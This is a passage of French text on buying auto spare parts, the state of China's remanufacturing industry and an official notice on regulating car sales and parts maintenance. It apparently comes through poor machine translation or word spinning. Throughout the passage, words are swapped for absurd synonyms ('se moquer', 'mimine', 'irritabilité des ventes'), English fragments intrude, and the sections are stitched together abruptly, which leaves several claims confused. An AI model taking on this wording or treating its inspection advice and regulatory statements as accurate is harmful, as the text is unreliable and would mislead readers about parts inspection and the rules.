surimpression est claire. La boîte et le sac d’emballage doivent porter le nom
du produit, le modèle spécifié, la quantité, la marque déposée, l’appellation de l’usine
et son numéro de téléphone, etc. Certains fabricants apposent également leurs propres marques sur les suppléments.
Certains composants importants tels que les
générateurs, les distributeurs, les pompes d’injection de carburant, etc., sont aussi
équipés d’instructions d’utilisation, de certificats et d’inspecteurs pour guider les utilisateurs dans l’utilisation correcte de la maintenance.
Des précautions doivent impérativement être prises lors de l’achat, au cas
où vous achetez des produits contrefaits et vif. Deuxièmement, regardez la taille géométrique avec ou sans
déformation. Certaines pièces sont sujettes aux déformations dues à une fabrication, un transport
et un stockage incorrects. durant l’inspection, les
pièces d’arbre sont enroulées le long de la plaque de verre pour vérifier s’il
y a une quelconque fuite de lumière à l’endroit où les pièces sont
attachées à la plaque de verre dans l’optique de déterminer
si elle est pliée. le show est observé devant les yeux pour voir s’il est déformé; pendant l’achat du
joint d’huile, la face du joint avec le squelette doit être arrondie et peut
être fixée au verre plat sans déflection; après avoir relâché la main, il devrait se
moquer revenir à son état initial. Lors de l’acquisition de tous joints, vous devez également vérifier la géométrie et la forme.
Troisièmement, voyez si le joint est plat. lors de la manipulation et du stockage des
petites pièces détachées, il arrive souvent que les joints,
les bavures, les bavures, les cassures ou les fissures, se produisent
au niveau des articulations, ce qui affecte l’utilisation des oeuvres.
Faites attention à prendre en compte lors du rachat.
Quatrièmement, regardez la surface avec des oeuvres avec ou sans rouille.
l’objet des morceaux de rechange qualifiées présente une
grande précision et une finition brillante : plus les morceaux de rechange sont importantes, plus la
limpidité est élevée, plus les emballages sont protégés contre la rouille et la corrosion. Faites attention à
l’inspection lors du rachat. Si les pièces présentent des taches de rouille, des taches de moisissure ou des fissures
dans le caoutchouc, une perte d’élasticité ou un schéma de retournement
évident à la surface du tourillon, remplacez-le.
Cinquièmement, voyez si l’objet protectrice est intacte.
la plupart des pièces sont revêtues en usine d’une couche protectrice.
par exemple, l’axe du piston et le coussinet sont protégés par la paraffine, la surface du segment
de piston et du manchon de cylindre sont recouverts d’huile antirouille
et enveloppés de papier d’emballage; la soupape, le piston et
similaires sont immergés dans une huile antirouille puis emballés dans un sac souple.
Si le sceau est endommagé, le papier est perdu, l’huile antirouille ou la paraffine est perdue lors du rachat, elle doit être retournée.
Sixièmement, voyez si les pièces collées sont lâches.
Ensemble constitué de deux pièces ou plus, adapté à la presse, collé ou soudé entre
les pièces, sans jeu entre elles, à titre d’exemple le piston de la pompe à huile et le bras
de réglage sont combinés par pression; La roue entraînée par l’embrayage et la pièce en acier
sont rivetées et combinées, la plaque de friction et la pièce en acier sont rivées ou collées, le cadre central de l’élément filtrant en papier et le papier
filtre sont collés ensemble, l’esprit en fil de l’équipement électrique est soudée.
S’il s’avère qu’il est lâche lors du rachat, il doit être échangé.
Sept, voir si les pièces en rotation sont flexibles.
Lorsque vous achetez les pièces rotatives de la pompe
à huile et d’autres pièces, tournez l’arbre de la pompe manuellement, vous vous sentirez flexible et
non collé; au cours de l’achat du roulement, soutenez la bague intérieure du roulement avec une mimine et la bague
extérieure de l’autre main, la bague extérieure devrait pouvoir tourner
rapidement Peu à peu arrêté. Si les pièces en rotation ne tournent pas, cela indique une corrosion ou une déformation interne, aussi ne l’achetez pas.
Huit, voyez si les pièces d’assemblage sont manquantes.
Les composants de l’assemblage formel doivent être entièrement assemblés pour assurer un montage en douceur et un fonctionnement
correct. S’il manque des petites pièces sur certaines pièces d’assemblage, celles-ci ne
fonctionneront pas et ne seront même pas mises âgé.
Plateau de développement Short board one, le nombre
de recyclage ne suffit pas, ce qui limite le développement continu des entreprises de reconditionnement.
Les restrictions de politique rendent également le nombre de pièces automobiles trop petit.
En vertu du décret n ° 307 du Conseil d’État intitulé «Mesures administratives pour
le recyclage des véhicules mis au rebut»,
les «cinq principaux ensembles», notamment le moteur, la transmission et les essieux avant et
arrière, doivent obligatoirement être vendus aux entreprises sidérurgiques en tant que matières premières pour la production. Mais
en réalité, beaucoup de ces assemblages sont des ressources qui peuvent être remises à neuf.
Cela a entraîné une récupération insuffisante des structures de réusinage.
en bref, l’industrie de la re-fabrication est dans un état désordonné et les
sociétés du secteur formel sont confrontées à la mauvaise concurrence de «l’armée divers».
professionnel formelles de reconditionnement de pièces automobiles, le coût du recyclage des societes mises au rebut est généralement appliqué selon du prix de marché de
la ferraille. à titre d’exemple, dans le cas d’une maison Jetta qui prend un patrimoine, l’entreprise verse au propriétaire environ 1 000 yuans.
Certains petits ateliers dépourvus de qualifications s’appuient sur des moteurs
et des transmissions vendus de manière privée pour obtenir
d’énormes avantages. Prenons l’exemple d’un service mis au rebut de 10 tonnes : étant donné que les «cinq grands assemblages» ne sont vendus selon la réglementation, les sociétés officielles bénéficieront principalement de la vente
d’acier après démontage, le coût maximum de vente
étant de 20000 yuans et leur prix d’achat ne pouvant excéder 12 000 yuans.
adhérer les coûts et les taxes entraînera une perte.
Cependant, l’usine de démantèlement souterraine peut être achetée à un tarif de 20000 yuans
ou plus, car mini les ‘ cinq grands ensembles ‘ seront vendus en violation de le
droit, et il vous sera possible de réaliser d’importants bénéfices, par exemple un moteur d’importants camion peut en vendre 7 000 yuans et un essieu arrière en vendre 8
000 yuans. Il n’est donc pas difficile de vendre un véhicule à 25 000 yuans, voire plus.
faites sur le tableau trois, le niveau technique global des etablissements de refabrication nationales n’est
pas élevé et la faible reconnaissance du
secteur de la refabrication par la compagnie a entravé son développement ultérieur.
Selon certaines informations, la production de pièces automobiles reconditionnées doit être démantelée, nettoyée,
inspectée et classée selon un processus spécifique, reconstruite ou remplacée par avec des oeuvres défectueuses,
puis réassemblée. Après des tests rigoureux, l’usine est
mise sur le marché. en fait, la région chinois du réusinage de pièces automobiles ayant démarré
tardivement et le matériel étant relativement endetté, le plus important est que le coût
des intrants est trop élevé, ce qui pèse lourdement sur
l’entreprise elle-même, ce qui conduit à une industrie de réusinage nationale
comparée à ses homologues étrangers. Il y a toujours un grand fossé entre qualité et qualité.
un exemple évident est que, même dans les projets pilotes d’explications de reconditionnement de pièces d’automobiles, il
existe encore certaines méthodes d’utilisation de réparations relativement rétrogrades et
de réparations de substitution, et que le taux de reconditionnement est très faible.
Dans le même temps, du à l’influence des concepts de consommation traditionnels et d’une
publicité insuffisante, le public national actuel ne comprend pas suffisamment la région de la refabrication de pièces
automobiles et présente un certain écart. le principe de consommation de
«même s’il est moitié moins cher, il n’achètera pas de vieux produits» Universel.
Cela a entraîné dans les consommateurs un manque de compréhension et d’appui se rapportant au reconditionnement des véhicules
et le reconditionnement des produits aux consommateurs est encore très limité.
À l’heure actuelle, pour faire la publicité de le développement sain et ordonné du
secteur du réusinage de pièces d’automobiles, il est essentiel d’adopter
une approche à plusieurs volets, faisant largement appel à la loi, à l’économie et aux moyens administratifs nécessaires pour faire le référencement de, notamment le phénomène actuel du démantèlement privé dans le
secteur, Renforcez l’application de la loi administrative et bannissez
résolument les entreprises illégales et les petits ateliers.
Avis réglementaire Les autorités administratives pivotantes et
le commerce des provinces, des régions autonomes et
des municipalités relevant directement du gouvernement central, du ministère des Transports ( Bureau,
Comité ) et du cabinet de la qualité et de la supervision technique :
Dans les activités de vente et d’écriture et d’exploitation de pièces automobiles, la production, la vente et l’utilisation de pièces automobiles contrefaites et attrayant.
Fausse propagande, corruption commerciale et consumérisme frauduleux.
Ces actes ont perturbé l’ordre du secteur automobile et porté atteinte aux
droits et intérêts légitimes de la clientèle.
dans l’optique de renforcer au maximum l’irritabilité des ventes et la supervision de le maintien des pièces automobiles, de garder l’ordre du marché automobile, de protéger les droits
et intérêts légitimes de la clientèle et de promouvoir le développement rapide
et régulier de l’industrie automobile et de l’économie, les questions pertinentes
sont notifiées de la façon suivante : Premièrement, comprendre
pleinement la publicité de la conduite de vente automobile et des automobiles.
L’importance de la supervision de le maintien des accessoires
a encore renforcé le sens des responsabilités et de la vocation.L’industrie automobile est un pilier
important de l’économie nationale et joue un élément important dans l’économie nationale et le développement communautaire.
afin de faire devant l’impact de la fiscalite financière internationale et de appliquer les conditions générales nécessaires au maintien de la
croissance, à la croissance de la demande intérieure et à l’ajustement de sa structure, l’État a formulé une multitude d’usage automobile stable, telle qu’un plan d’ajustement industriel et de revitalisation de l’ automobile [1], une auto «ancienne pour nouvelle».
Les politiques et les mesures visant à accélérer les ajustements structurels ont joué
un élément important et positif dans la promotion du
développement durable, sain et stable de l’industrie automobile et
du développement économique rapide et régulier.
Les départements administratifs de l’industrie et du commerce, des transports et de la qualité ainsi que la supervision technique à tous les niveaux doivent shématiser
l’importance d’accroitre la supervision des agissements des
ventes d’automobiles et la supervision de le maintien avec des pièces automobiles afin de garantir la
mise en œuvre spécifique des politiques nationales d’ajustement
et de revitalisation de l’industrie automobile, le transport routier
et de protéger les droits et intérêts légitimes de la clientèle.
Importance, approfondir la mise en œuvre du concept scientifique de développement, appliquer consciencieusement l’esprit du 17ème Congrès national du parti communiste
chinois, des 3ème et 4ème Sessions plénières du 17ème
Comité central et de la Conférence centrale du travail économique, renforcer encore les sentiments des responsabilités, la mission, la pensée générale, la prestation rendu et
la pleine jouissance de leurs fonctions. nous allons sérieusement nous acquitter de nos obligations statutaires,
maintenir activement l’ordre du marché automobile et promouvoir le développement sain de l’industrie automobile.
Deuxièmement, renforcer encore la gestion de la conduite
des ventes d’automobiles, réglementer l’irritabilité commercial et concurrentiel du marché automobile.Les administrations industrielles et commerciales locales devraient augmenter le nombre
d’inspections quotidiennes, renforcer la supervision et l’inspection des comportements de vente d’automobiles,
attaquer la concurrence déloyale, la fausse propagande et autres violations des droits et intérêts légitimes de la clientèle, et réglementer efficacement le comportement commercial du marché
automobile. Il est nécessaire de trier soigneusement les indices de présomption de concurrence déloyale relevés dans les inspections quotidiennes et les rapports de plainte,
ainsi que d’enquêter et de traiter les comportements de concurrence déloyale
des magasins de distribution de marques automobiles et des marchés commerciaux centralisés de l’automobile de
différentes manières, en faisant de la promotion fausse et en trompant les consommateurs frauduleux..
Il est vital de combiner le travail spécial de gestion de la corruption commerciale et d’enquêter sérieusement sur les activités du magasin de service de distribution de marques automobiles afin de
collecter les solutions de la société de services financiers, de l’entreprise de garantie et de l’entreprise d’assurance, comme par exemple «remise» et
«indemnité». La corruption. Il est essentiel de
renforcer la surveillance et l’inspection des publicités
rattachées à l’automobile et d’enquêter rapidement sur tous les types d’actes illicites
au niveau publicité et de les sanctionner en fonction de la
loi. Il est essentiel de normaliser davantage le contrat de vente d’automobiles, d’appliquer
activement le modèle du contrat de vente d’automobiles et de traiter la «clause de
suzerain» conformément à la loi. Il est nécessaire d’accroitre
les directives administratives et d’utiliser de manière exhaustive les avertissements administratifs et les suggestions administratives pour empêcher les
opérateurs de lier des marchandises ou d’imposer d’autres conditions déraisonnables à l’encontre de
envie de l’acheteur. Tous les départements administratifs locaux chargés
de l’industrie et du commerce, des transports, de le
maintien et de la technologie doivent coopérer grâce aux organisations professionnelles concernées pour renforcer la publicité et l’initiation concernant la production et
les ventes automobiles, les fabricants de pièces automobiles et les opérateurs de maintenance, et exhorter les constructeurs automobiles
à renforcer le contrôle de la qualité des
produits et à les appliquer strictement Règlement sur la gestion des rappels de produits automobiles
défectueux, annonce les déclarations techniques
sur le maintient en fonctionnement des véhicules neufs, guide le magasin de service de
distribution de marques automobiles pour la pub du
système de fourniture de pièces automobiles, demande aux
opérateurs d’exprimer des informations sur les fabricants de pièces automobiles, l’estimation des
pièces détachées, le montant des services, etc., et améliore le système de gestion de le maintien. l’article ‘ trois garanties ‘, la promotion,
les contrats de vente, les prêts hypothécaires, les assurances et autres normes prestations
de vente, encouragent l’autodiscipline, réglementent les
ventes d’automobiles et les pratiques commerciales
de réparation automobile.
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